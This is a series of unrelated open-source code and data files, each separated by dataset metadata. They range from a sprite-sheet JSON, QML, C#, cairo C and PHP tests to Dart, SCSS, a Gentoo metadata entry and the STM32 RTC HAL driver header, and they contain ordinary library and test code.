"sourceSize": {"w":182,"h":184}
}
,{
"filename": "stingray0004",
"frame": {"x":554,"y":494,"w":182,"h":139},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":20,"w":182,"h":184},
"sourceSize": {"w":182,"h":184}
}
,{
"filename": "stingray0005",
"frame": {"x":186,"y":495,"w":182,"h":138},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":20,"w":182,"h":184},
"sourceSize": {"w":182,"h":184}
}
,{
"filename": "stingray0006",
"frame": {"x":370,"y":495,"w":182,"h":136},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":20,"w":182,"h":184},
"sourceSize": {"w":182,"h":184}
}
,{
"filename": "stingray0007",
"frame": {"x":2,"y":629,"w":182,"h":135},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":20,"w":182,"h":184},
"sourceSize": {"w":182,"h":184}
}
,{
"filename": "stingray0008",
"frame": {"x":370,"y":633,"w":182,"h":135},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":20,"w":182,"h":184},
"sourceSize": {"w":182,"h":184}
}
,{
"filename": "stingray0009",
"frame": {"x":186,"y":635,"w":182,"h":134},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":20,"w":182,"h":184},
"sourceSize": {"w":182,"h":184}
}
,{
"filename": "stingray0010",
"frame": {"x":186,"y":495,"w":182,"h":138},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":20,"w":182,"h":184},
"sourceSize": {"w":182,"h":184}
}
,{
"filename": "stingray0011",
"frame": {"x":816,"y":493,"w":182,"h":141},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":20,"w":182,"h":184},
"sourceSize": {"w":182,"h":184}
}
,{
"filename": "stingray0012",
"frame": {"x":370,"y":349,"w":182,"h":144},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":20,"w":182,"h":184},
"sourceSize": {"w":182,"h":184}
}
,{
"filename": "stingray0013",
"frame": {"x":632,"y":344,"w":182,"h":148},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":19,"w":182,"h":184},
"sourceSize": {"w":182,"h":184}
}
,{
"filename": "stingray0014",
"frame": {"x":2,"y":329,"w":182,"h":154},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":16,"w":182,"h":184},
"sourceSize": {"w":182,"h":184}
}
,{
"filename": "stingray0015",
"frame": {"x":632,"y":182,"w":182,"h":160},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":13,"w":182,"h":184},
"sourceSize": {"w":182,"h":184}
}
,{
"filename": "stingray0016",
"frame": {"x":816,"y":176,"w":182,"h":166},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":10,"w":182,"h":184},
"sourceSize": {"w":182,"h":184}
}
,{
"filename": "stingray0017",
"frame": {"x":816,"y":2,"w":182,"h":172},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":7,"w":182,"h":184},
"sourceSize": {"w":182,"h":184}
}
,{
"filename": "stingray0018",
"frame": {"x":448,"y":2,"w":182,"h":178},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":3,"w":182,"h":184},
"sourceSize": {"w":182,"h":184}
}
,{
"filename": "stingray0019",
"frame": {"x":264,"y":2,"w":182,"h":184},
"rotated": false,
"trimmed": false,
"spriteSourceSize": {"x":0,"y":0,"w":182,"h":184},
"sourceSize": {"w":182,"h":184}
}
,{
"filename": "stingray0020",
"frame": {"x":632,"y":2,"w":182,"h":178},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":3,"w":182,"h":184},
"sourceSize": {"w":182,"h":184}
}
,{
"filename": "stingray0021",
"frame": {"x":2,"y":156,"w":182,"h":171},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":7,"w":182,"h":184},
"sourceSize": {"w":182,"h":184}
}
,{
"filename": "stingray0022",
"frame": {"x":448,"y":182,"w":182,"h":165},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":10,"w":182,"h":184},
"sourceSize": {"w":182,"h":184}
}
,{
"filename": "stingray0023",
"frame": {"x":186,"y":188,"w":182,"h":159},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":13,"w":182,"h":184},
"sourceSize": {"w":182,"h":184}
}],
"meta": {
"app": "Adobe Flash CS6",
"version": "12.0.0.481",
"image": "seacreatures_json.png",
"format": "RGBA8888",
"size": {"w":1024,"h":2048},
"scale": "1"
}
}
|
{
"pile_set_name": "Github"
}
|
import QtQuick 2.0
RectangleBorders {
Column {
anchors.fill: parent
RectangleBorders {
height: parent.height / parent.children.length
width: parent.width
rectColor: root.colorWarrior
property string template: "Warrior DW Fury Pre-Raid"
onRectangleClicked: raid.selectTemplateCharacter(template)
TextSmall {
color: "black"
text: parent.template
}
}
RectangleBorders {
height: parent.height / parent.children.length
width: parent.width
rectColor: root.colorWarrior
property string template: "Warrior DW Fury BWL"
onRectangleClicked: raid.selectTemplateCharacter(template)
TextSmall {
color: "black"
text: parent.template
}
}
RectangleBorders {
height: parent.height / parent.children.length
width: parent.width
rectColor: root.colorWarrior
property string template: "Warrior DW Fury AQ"
onRectangleClicked: raid.selectTemplateCharacter(template)
TextSmall {
color: "black"
text: parent.template
}
}
RectangleBorders {
height: parent.height / parent.children.length
width: parent.width
rectColor: root.colorWarrior
property string template: "Warrior DW Fury Naxx"
onRectangleClicked: raid.selectTemplateCharacter(template)
TextSmall {
color: "black"
text: parent.template
}
}
RectangleBorders {
height: parent.height / parent.children.length
width: parent.width
rectColor: root.colorHunter
property string template: "Hunter 8/8 T2"
onRectangleClicked: raid.selectTemplateCharacter(template)
TextSmall {
color: "black"
text: parent.template
}
}
RectangleBorders {
height: parent.height / parent.children.length
width: parent.width
rectColor: root.colorMage
property string template: "Fire Mage T3"
onRectangleClicked: raid.selectTemplateCharacter(template)
TextSmall {
color: "black"
text: parent.template
}
}
}
}
|
{
"pile_set_name": "Github"
}
|
//
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
namespace Microsoft.PackageManagement.Internal.Utility.Extensions {
using System;
using System.Collections.Generic;
internal static class DictionaryExtensions {
public static Tuple<T1, T2> Add<TKey, T1, T2>(this IDictionary<TKey, Tuple<T1, T2>> dictionary, TKey key, T1 v1, T2 v2) {
var item = new Tuple<T1, T2>(v1, v2);
dictionary.Add(key, item);
return item;
}
public static void RemoveSafe<TKey, TValue>(this IDictionary<TKey, TValue> dictionary, TKey key) {
lock (dictionary) {
if (dictionary.ContainsKey(key)) {
dictionary.Remove(key);
}
}
}
public static TValue AddOrSet<TKey, TValue>(this IDictionary<TKey, TValue> dictionary, TKey key, TValue value) {
lock (dictionary) {
if (dictionary.ContainsKey(key)) {
dictionary[key] = value;
} else {
dictionary.Add(key, value);
}
}
return value;
}
public static TValue GetOrAdd<TKey, TValue>(this IDictionary<TKey, TValue> dictionary, TKey key, Func<TValue> valueFunction) {
lock (dictionary) {
return dictionary.ContainsKey(key) ? dictionary[key] : dictionary.AddOrSet(key, valueFunction());
}
}
public static TValue GetOrSetIfDefault<TKey, TValue>(this IDictionary<TKey, TValue> dictionary, TKey key, Func<TValue> valueFunction) {
lock (dictionary) {
return !dictionary.ContainsKey(key) || ((object)default(TValue) == (object)dictionary[key]) ? dictionary.AddOrSet(key, valueFunction()) : dictionary[key];
}
}
public static TValue TryPullValue<TKey, TValue>(this IDictionary<TKey, TValue> dictionary, TKey key) {
if (dictionary.ContainsKey(key)) {
var v = dictionary[key];
dictionary.Remove(key);
return v;
}
return default(TValue);
}
public static Dictionary<TKey, TElement> ToDictionaryNicely<TSource, TKey, TElement>(this IEnumerable<TSource> source, Func<TSource, TKey> keySelector, Func<TSource, TElement> elementSelector, IEqualityComparer<TKey> comparer) {
if (source == null) {
throw new ArgumentNullException("source");
}
if (keySelector == null) {
throw new ArgumentNullException("keySelector");
}
if (elementSelector == null) {
throw new ArgumentNullException("elementSelector");
}
var d = new Dictionary<TKey, TElement>(comparer);
foreach (var element in source) {
var key = keySelector(element);
if (key != null) {
d.AddOrSet(key, elementSelector(element));
}
}
return d;
}
public static TValue Get<TKey, TValue>(this IDictionary<TKey, TValue> dictionary, TKey key) {
return dictionary.ContainsKey(key) ? dictionary[key] : default(TValue);
}
}
}
|
{
"pile_set_name": "Github"
}
|
/* cairo - a vector graphics library with display and print output
*
* Copyright © 2009 Intel Corporation
*
* This library is free software; you can redistribute it and/or
* modify it either under the terms of the GNU Lesser General Public
* License version 2.1 as published by the Free Software Foundation
* (the "LGPL") or, at your option, under the terms of the Mozilla
* Public License Version 1.1 (the "MPL"). If you do not alter this
* notice, a recipient may use your version of this file under either
* the MPL or the LGPL.
*
* You should have received a copy of the LGPL along with this library
* in the file COPYING-LGPL-2.1; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Suite 500, Boston, MA 02110-1335, USA
* You should have received a copy of the MPL along with this library
* in the file COPYING-MPL-1.1
*
* The contents of this file are subject to the Mozilla Public License
* Version 1.1 (the "License"); you may not use this file except in
* compliance with the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
* This software is distributed on an "AS IS" basis, WITHOUT WARRANTY
* OF ANY KIND, either express or implied. See the LGPL or the MPL for
* the specific language governing rights and limitations.
*
* The Original Code is the cairo graphics library.
*
* The Initial Developer of the Original Code is Red Hat, Inc.
*
* Contributor(s):
* Chris Wilson <[email protected]>
*/
#include "cairoint.h"
#include "cairo-composite-rectangles-private.h"
#include "cairo-boxes-private.h"
#include "cairo-error-private.h"
#include "cairo-drm-i965-private.h"
/* Operates in either immediate or retained mode.
* When given a clip region we record the sequence of vbo and then
* replay them for each clip rectangle, otherwise we simply emit
* the vbo straight into the command stream.
*/
typedef struct _i965_spans i965_spans_t;
typedef float *
(*i965_get_rectangle_func_t) (i965_spans_t *spans);
struct _i965_spans {
cairo_span_renderer_t renderer;
i965_device_t *device;
int xmin, xmax;
cairo_bool_t is_bounded;
const cairo_rectangle_int_t *extents;
i965_get_rectangle_func_t get_rectangle;
i965_shader_t shader;
cairo_region_t *clip_region;
struct i965_vbo head, *tail;
unsigned int vbo_offset;
float *vbo_base;
};
static float *
i965_spans_emit_rectangle (i965_spans_t *spans)
{
return i965_add_rectangle (spans->device);
}
static float *
i965_spans_accumulate_rectangle (i965_spans_t *spans)
{
float *vertices;
uint32_t size;
size = spans->device->rectangle_size;
if (unlikely (spans->vbo_offset + size > I965_VERTEX_SIZE)) {
struct i965_vbo *vbo;
vbo = malloc (sizeof (struct i965_vbo));
if (unlikely (vbo == NULL)) {
/* throw error! */
}
spans->tail->next = vbo;
spans->tail = vbo;
vbo->next = NULL;
vbo->bo = intel_bo_create (&spans->device->intel,
I965_VERTEX_SIZE, I965_VERTEX_SIZE,
FALSE, I915_TILING_NONE, 0);
vbo->count = 0;
spans->vbo_offset = 0;
spans->vbo_base = intel_bo_map (&spans->device->intel, vbo->bo);
}
vertices = spans->vbo_base + spans->vbo_offset;
spans->vbo_offset += size;
spans->tail->count += 3;
return vertices;
}
static void
i965_span_rectangle (i965_spans_t *spans,
int x0, int x1, int y0, int y1,
int alpha)
{
float *vertices;
float a = alpha / 255.;
vertices = spans->get_rectangle (spans);
*vertices++ = x1;
*vertices++ = y1;
*vertices++ = a;
*vertices++ = x0;
*vertices++ = y1;
*vertices++ = a;
*vertices++ = x0;
*vertices++ = y0;
*vertices++ = a;
}
static cairo_status_t
i965_bounded_spans_mono (void *abstract_renderer,
int y, int height,
const cairo_half_open_span_t *half,
unsigned num_spans)
{
i965_spans_t *spans = abstract_renderer;
if (num_spans == 0)
return CAIRO_STATUS_SUCCESS;
do {
if (half[0].coverage >= 128) {
i965_span_rectangle (spans,
half[0].x, half[1].x,
y, y + height,
255);
}
half++;
} while (--num_spans > 1);
return CAIRO_STATUS_SUCCESS;
}
static cairo_status_t
i965_bounded_spans (void *abstract_renderer,
int y, int height,
const cairo_half_open_span_t *half,
unsigned num_spans)
{
i965_spans_t *spans = abstract_renderer;
if (num_spans == 0)
return CAIRO_STATUS_SUCCESS;
do {
if (half[0].coverage) {
i965_span_rectangle (spans,
half[0].x, half[1].x,
y, y + height,
half[0].coverage);
}
half++;
} while (--num_spans > 1);
return CAIRO_STATUS_SUCCESS;
}
static cairo_status_t
i965_unbounded_spans (void *abstract_renderer,
int y, int height,
const cairo_half_open_span_t *half,
unsigned num_spans)
{
i965_spans_t *spans = abstract_renderer;
if (num_spans == 0) {
i965_span_rectangle (spans,
spans->xmin, spans->xmax,
y, y + height,
0);
return CAIRO_STATUS_SUCCESS;
}
if (half[0].x != spans->xmin) {
i965_span_rectangle (spans,
spans->xmin, half[0].x,
y, y + height,
0);
}
do {
i965_span_rectangle (spans,
half[0].x, half[1].x,
y, y + height,
half[0].coverage);
half++;
} while (--num_spans > 1);
if (half[0].x != spans->xmax) {
i965_span_rectangle (spans,
half[0].x, spans->xmax,
y, y + height,
0);
}
return CAIRO_STATUS_SUCCESS;
}
static cairo_status_t
i965_unbounded_spans_mono (void *abstract_renderer,
int y, int height,
const cairo_half_open_span_t *half,
unsigned num_spans)
{
i965_spans_t *spans = abstract_renderer;
if (num_spans == 0) {
i965_span_rectangle (spans,
spans->xmin, spans->xmax,
y, y + height,
0);
return CAIRO_STATUS_SUCCESS;
}
if (half[0].x != spans->xmin) {
i965_span_rectangle (spans,
spans->xmin, half[0].x,
y, y + height,
0);
}
do {
int alpha = 0;
if (half[0].coverage >= 128)
alpha = 255;
i965_span_rectangle (spans,
half[0].x, half[1].x,
y, y + height,
alpha);
half++;
} while (--num_spans > 1);
if (half[0].x != spans->xmax) {
i965_span_rectangle (spans,
half[0].x, spans->xmax,
y, y + height,
0);
}
return CAIRO_STATUS_SUCCESS;
}
static cairo_status_t
i965_spans_init (i965_spans_t *spans,
i965_surface_t *dst,
cairo_operator_t op,
const cairo_pattern_t *pattern,
cairo_antialias_t antialias,
cairo_clip_t *clip,
const cairo_composite_rectangles_t *extents)
{
cairo_status_t status;
spans->device = i965_device (dst);
i965_shader_init (&spans->shader, dst, op);
spans->is_bounded = extents->is_bounded;
if (extents->is_bounded) {
if (antialias == CAIRO_ANTIALIAS_NONE)
spans->renderer.render_rows = i965_bounded_spans_mono;
else
spans->renderer.render_rows = i965_bounded_spans;
spans->extents = &extents->bounded;
} else {
if (antialias == CAIRO_ANTIALIAS_NONE)
spans->renderer.render_rows = i965_unbounded_spans_mono;
else
spans->renderer.render_rows = i965_unbounded_spans;
spans->extents = &extents->unbounded;
}
spans->xmin = spans->extents->x;
spans->xmax = spans->extents->x + spans->extents->width;
spans->clip_region = NULL;
if (clip != NULL) {
cairo_region_t *clip_region = NULL;
status = _cairo_clip_get_region (clip, &clip_region);
assert (status == CAIRO_STATUS_SUCCESS || status == CAIRO_INT_STATUS_UNSUPPORTED);
if (clip_region != NULL && cairo_region_num_rectangles (clip_region) == 1)
clip_region = NULL;
spans->clip_region = clip_region;
if (status == CAIRO_INT_STATUS_UNSUPPORTED)
i965_shader_set_clip (&spans->shader, clip);
}
spans->head.next = NULL;
spans->head.bo = NULL;
spans->head.count = 0;
spans->tail = &spans->head;
if (spans->clip_region == NULL) {
spans->get_rectangle = i965_spans_emit_rectangle;
} else {
spans->get_rectangle = i965_spans_accumulate_rectangle;
spans->head.bo = intel_bo_create (&spans->device->intel,
I965_VERTEX_SIZE, I965_VERTEX_SIZE,
FALSE, I915_TILING_NONE, 0);
if (unlikely (spans->head.bo == NULL))
return _cairo_error (CAIRO_STATUS_NO_MEMORY);
spans->vbo_base = intel_bo_map (&spans->device->intel, spans->head.bo);
}
spans->vbo_offset = 0;
return i965_shader_acquire_pattern (&spans->shader,
&spans->shader.source,
pattern, &extents->bounded);
}
static void
i965_spans_fini (i965_spans_t *spans)
{
i965_shader_fini (&spans->shader);
if (spans->head.bo != NULL) {
struct i965_vbo *vbo, *next;
intel_bo_destroy (&spans->device->intel, spans->head.bo);
for (vbo = spans->head.next; vbo != NULL; vbo = next) {
next = vbo->next;
intel_bo_destroy (&spans->device->intel, vbo->bo);
free (vbo);
}
}
}
cairo_status_t
i965_clip_and_composite_spans (i965_surface_t *dst,
cairo_operator_t op,
const cairo_pattern_t *pattern,
cairo_antialias_t antialias,
i965_spans_func_t draw_func,
void *draw_closure,
const cairo_composite_rectangles_t*extents,
cairo_clip_t *clip)
{
i965_spans_t spans;
i965_device_t *device;
cairo_status_t status;
if (op == CAIRO_OPERATOR_CLEAR) {
pattern = &_cairo_pattern_white.base;
op = CAIRO_OPERATOR_DEST_OUT;
}
status = i965_spans_init (&spans, dst, op, pattern, antialias, clip, extents);
if (unlikely (status))
return status;
spans.shader.mask.base.content = CAIRO_CONTENT_ALPHA;
spans.shader.mask.type.fragment = FS_SPANS;
spans.shader.mask.type.vertex = VS_SPANS;
spans.shader.mask.type.pattern = PATTERN_BASE;
status = cairo_device_acquire (dst->intel.drm.base.device);
if (unlikely (status))
goto CLEANUP_SPANS;
device = i965_device (dst);
status = i965_shader_commit (&spans.shader, device);
if (unlikely (status))
goto CLEANUP_DEVICE;
status = draw_func (draw_closure, &spans.renderer, spans.extents);
if (spans.clip_region != NULL && status == CAIRO_STATUS_SUCCESS)
i965_clipped_vertices (device, &spans.head, spans.clip_region);
CLEANUP_DEVICE:
cairo_device_release (dst->intel.drm.base.device);
CLEANUP_SPANS:
i965_spans_fini (&spans);
return status;
}
|
{
"pile_set_name": "Github"
}
|
<?php
/* Prototype : string sprintf(string $format [, mixed $arg1 [, mixed ...]])
* Description: Return a formatted string
* Source code: ext/standard/formatted_print.c
*/
echo "*** Testing sprintf() : hexa formats with array values ***\n";
// array of array values
$array_values = array(
array(),
array(0),
array(1),
array(NULL),
array(null),
array("string"),
array(true),
array(TRUE),
array(false),
array(FALSE),
array(1,2,3,4),
array(1 => "One", "two" => 2)
);
// array of hexa formats
$hexa_formats = array(
"%x", "%xx", "%lx",
"%Lx", " %x", "%x ",
"\t%x", "\n%x", "%4x",
"%30x", "%[0-9A-Fa-f]", "%*x"
);
$count = 1;
foreach($array_values as $array_value) {
echo "\n-- Iteration $count --\n";
foreach($hexa_formats as $format) {
var_dump( sprintf($format, $array_value) );
}
$count++;
};
echo "Done";
|
{
"pile_set_name": "Github"
}
|
package com.loonandroid.pc.ioc.entity;
/*
* Author: Administrator Email:[email protected]
* Created Date:2014-11-10
* Copyright @ 2014 BU
* Description: 类描述
*
* History:
*/
/**
* Activity.start();
* TODO(这里用一句话描述这个类的作用)
* @author [email protected] 2014-11-13 下午6:30:53
*/
public class InStartEntity extends Invoker implements InjectInvoker {
}
|
{
"pile_set_name": "Github"
}
|
// Exports the "autolink" plugin for usage with module loaders
// Usage:
// CommonJS:
// require('tinymce/plugins/autolink')
// ES2015:
// import 'tinymce/plugins/autolink'
require('./plugin.js');
|
{
"pile_set_name": "Github"
}
|
table {
background: $lightergrey;
border: 1px solid $lightgrey;
border-collapse: collapse;
display:table;
margin: 20px 0;
thead {
border-bottom: 1px solid $lightgrey;
display: table-header-group;
}
tbody {
display: table-row-group;
}
tr {
display: table-row;
&:nth-of-type(odd) {
background: $greyish;
}
th, td {
border-right: 1px dotted $lightgrey;
display: table-cell;
font-size: 14px;
line-height: 1.3em;
padding: 10px;
text-align: left;
&:last-of-type {
border-right: 0;
}
code {
color: $green;
display: inline-block;
font-size: 12px;
}
}
th {
color: #000000;
font-weight: bold;
font-family: $header-font-family;
text-transform: uppercase;
}
}
}
|
{
"pile_set_name": "Github"
}
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
#############################################################################
##
## Copyright (C) 2016 The Qt Company Ltd.
## Contact: https://www.qt.io/licensing/
##
## This file is part of the test suite of Qt for Python.
##
## $QT_BEGIN_LICENSE:GPL-EXCEPT$
## Commercial License Usage
## Licensees holding valid commercial Qt licenses may use this file in
## accordance with the commercial license agreement provided with the
## Software or, alternatively, in accordance with the terms contained in
## a written agreement between you and The Qt Company. For licensing terms
## and conditions see https://www.qt.io/terms-conditions. For further
## information use the contact form at https://www.qt.io/contact-us.
##
## GNU General Public License Usage
## Alternatively, this file may be used under the terms of the GNU
## General Public License version 3 as published by the Free Software
## Foundation with exceptions as appearing in the file LICENSE.GPL3-EXCEPT
## included in the packaging of this file. Please review the following
## information to ensure the GNU General Public License requirements will
## be met: https://www.gnu.org/licenses/gpl-3.0.html.
##
## $QT_END_LICENSE$
##
#############################################################################
'''Test cases for ...'''
import sys
import unittest
from sample import NonDefaultCtor
class DerivedNonDefaultCtor (NonDefaultCtor):
def returnMyselfVirtual(self):
return NonDefaultCtor(self.value()+1)
class AnotherDerivedNonDefaultCtor (NonDefaultCtor):
def __init__(self, some_string):
pass
class NonDefaultCtorTest(unittest.TestCase):
def testNonDefaultCtor(self):
c = NonDefaultCtor(2)
# these functions returns NonDefaultCtor by value, so a PyObjecy is created every time
self.assertNotEqual(c.returnMyself(), c)
self.assertEqual(c.returnMyself().value(), 2)
self.assertNotEqual(c.returnMyself(3), c)
self.assertEqual(c.returnMyself(3).value(), 2)
self.assertNotEqual(c.returnMyself(4, c), c)
self.assertEqual(c.returnMyself(4, c).value(), 2)
def testVirtuals(self):
c = DerivedNonDefaultCtor(3)
# these functions returns NonDefaultCtor by value, so a PyObjecy is created every time
self.assertNotEqual(c.returnMyselfVirtual(), c)
self.assertEqual(c.returnMyselfVirtual().value(), 4)
self.assertEqual(c.callReturnMyselfVirtual().value(), 4)
def testCtorOverload(self):
c = AnotherDerivedNonDefaultCtor("testing")
if __name__ == '__main__':
unittest.main()
|
{
"pile_set_name": "Github"
}
|
import 'package:rxdart/src/utils/min_max.dart';
/// Extends the Stream class with the ability to transform into a Future
/// that completes with the largest item emitted by the Stream.
extension MaxExtension<T> on Stream<T> {
/// Converts a Stream into a Future that completes with the largest item
/// emitted by the Stream.
///
/// This is similar to finding the max value in a list, but the values are
/// asynchronous.
///
/// ### Example
///
/// final max = await Stream.fromIterable([1, 2, 3]).max();
///
/// print(max); // prints 3
///
/// ### Example with custom [Comparator]
///
/// final stream = Stream.fromIterable(['short', 'looooooong']);
/// final max = await stream.max((a, b) => a.length - b.length);
///
/// print(max); // prints 'looooooong'
Future<T> max([Comparator<T> comparator]) => minMax(this, false, comparator);
}
|
{
"pile_set_name": "Github"
}
|
DEFINED_PHASES=compile install test unpack
DEPEND=>=dev-lang/go-1.10
DESCRIPTION=Run your Bitrise.io automations on any Mac or Linux machine
EAPI=6
HOMEPAGE=https://www.bitrise.io/cli
IUSE=doc
KEYWORDS=~amd64
LICENSE=MIT
RDEPEND=>=dev-util/envman-2.1.1 >=dev-util/stepman-0.10.5
RESTRICT=strip
SLOT=0
SRC_URI=https://github.com/bitrise-io/bitrise/archive/1.24.0.tar.gz -> bitrise-1.24.0.tar.gz
_eclasses_=golang-base c57d2c3f9e1a02d0feb8b87c7b689892 golang-build dc25bafa8fc1305a4de66a0a448472e7
_md5_=21ebf7f46ec9a2e4a1e2df3288818af7
|
{
"pile_set_name": "Github"
}
|
//
// Generated by class-dump 3.5 (64 bit).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard.
//
#import <IMAP/IMAPAccount.h>
@interface ExchangeAccount : IMAPAccount
{
}
+ (id)accountTypeString;
- (_Bool)shouldFetchACEDBInfoForError:(id)arg1;
- (void)_filterMailboxList:(id)arg1 forMailboxWithPath:(id)arg2 iisServer:(id)arg3;
- (void)filterMailboxList:(id)arg1 forMailbox:(id)arg2 options:(int)arg3;
- (id)_defaultSpecialMailboxNameForType:(int)arg1;
- (_Bool)shouldExpungeMessagesOnDelete;
- (_Bool)storeSentMessagesOnServer;
- (_Bool)storeDraftsOnServer;
- (_Bool)_syncOnly_defaultValueForShouldStoreJunkOnServer;
- (Class)connectionClass;
@end
|
{
"pile_set_name": "Github"
}
|
/**
******************************************************************************
* @file stm32f4xx_hal_rtc.c
* @author MCD Application Team
* @version V1.2.0
* @date 26-December-2014
* @brief RTC HAL module driver.
* This file provides firmware functions to manage the following
* functionalities of the Real Time Clock (RTC) peripheral:
* + Initialization and de-initialization functions
* + RTC Time and Date functions
* + RTC Alarm functions
* + Peripheral Control functions
* + Peripheral State functions
*
@verbatim
==============================================================================
##### Backup Domain Operating Condition #####
==============================================================================
[..] The real-time clock (RTC), the RTC backup registers, and the backup
SRAM (BKP SRAM) can be powered from the VBAT voltage when the main
VDD supply is powered off.
To retain the content of the RTC backup registers, backup SRAM, and supply
the RTC when VDD is turned off, VBAT pin can be connected to an optional
standby voltage supplied by a battery or by another source.
[..] To allow the RTC operating even when the main digital supply (VDD) is turned
off, the VBAT pin powers the following blocks:
(#) The RTC
(#) The LSE oscillator
(#) The backup SRAM when the low power backup regulator is enabled
(#) PC13 to PC15 I/Os, plus PI8 I/O (when available)
[..] When the backup domain is supplied by VDD (analog switch connected to VDD),
the following pins are available:
(#) PC14 and PC15 can be used as either GPIO or LSE pins
(#) PC13 can be used as a GPIO or as the RTC_AF1 pin
(#) PI8 can be used as a GPIO or as the RTC_AF2 pin
[..] When the backup domain is supplied by VBAT (analog switch connected to VBAT
because VDD is not present), the following pins are available:
(#) PC14 and PC15 can be used as LSE pins only
(#) PC13 can be used as the RTC_AF1 pin
(#) PI8 can be used as the RTC_AF2 pin
##### Backup Domain Reset #####
==================================================================
[..] The backup domain reset sets all RTC registers and the RCC_BDCR register
to their reset values. The BKPSRAM is not affected by this reset. The only
way to reset the BKPSRAM is through the Flash interface by requesting
a protection level change from 1 to 0.
[..] A backup domain reset is generated when one of the following events occurs:
(#) Software reset, triggered by setting the BDRST bit in the
RCC Backup domain control register (RCC_BDCR).
(#) VDD or VBAT power on, if both supplies have previously been powered off.
##### Backup Domain Access #####
==================================================================
[..] After reset, the backup domain (RTC registers, RTC backup data
registers and backup SRAM) is protected against possible unwanted write
accesses.
[..] To enable access to the RTC Domain and RTC registers, proceed as follows:
(+) Enable the Power Controller (PWR) APB1 interface clock using the
__HAL_RCC_PWR_CLK_ENABLE() function.
(+) Enable access to RTC domain using the HAL_PWR_EnableBkUpAccess() function.
(+) Select the RTC clock source using the __HAL_RCC_RTC_CONFIG() function.
(+) Enable RTC Clock using the __HAL_RCC_RTC_ENABLE() function.
##### How to use this driver #####
==================================================================
[..]
(+) Enable the RTC domain access (see description in the section above).
(+) Configure the RTC Prescaler (Asynchronous and Synchronous) and RTC hour
format using the HAL_RTC_Init() function.
*** Time and Date configuration ***
===================================
[..]
(+) To configure the RTC Calendar (Time and Date) use the HAL_RTC_SetTime()
and HAL_RTC_SetDate() functions.
(+) To read the RTC Calendar, use the HAL_RTC_GetTime() and HAL_RTC_GetDate() functions.
*** Alarm configuration ***
===========================
[..]
(+) To configure the RTC Alarm use the HAL_RTC_SetAlarm() function.
You can also configure the RTC Alarm with interrupt mode using the HAL_RTC_SetAlarm_IT() function.
(+) To read the RTC Alarm, use the HAL_RTC_GetAlarm() function.
##### RTC and low power modes #####
==================================================================
[..] The MCU can be woken up from a low power mode by an RTC alternate
function.
[..] The RTC alternate functions are the RTC alarms (Alarm A and Alarm B),
RTC wake-up, RTC tamper event detection and RTC time stamp event detection.
These RTC alternate functions can wake up the system from the Stop and
Standby low power modes.
[..] The system can also wake up from low power modes without depending
on an external interrupt (Auto-wake-up mode), by using the RTC alarm
or the RTC wake-up events.
[..] The RTC provides a programmable time base for waking up from the
Stop or Standby mode at regular intervals.
Wake-up from STOP and STANDBY modes is possible only when the RTC clock source
is LSE or LSI.
@endverbatim
******************************************************************************
* @attention
*
* <h2><center>© COPYRIGHT(c) 2014 STMicroelectronics</center></h2>
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* 3. Neither the name of STMicroelectronics nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
******************************************************************************
*/
/* Includes ------------------------------------------------------------------*/
#include "stm32f4xx_hal.h"
/** @addtogroup STM32F4xx_HAL_Driver
* @{
*/
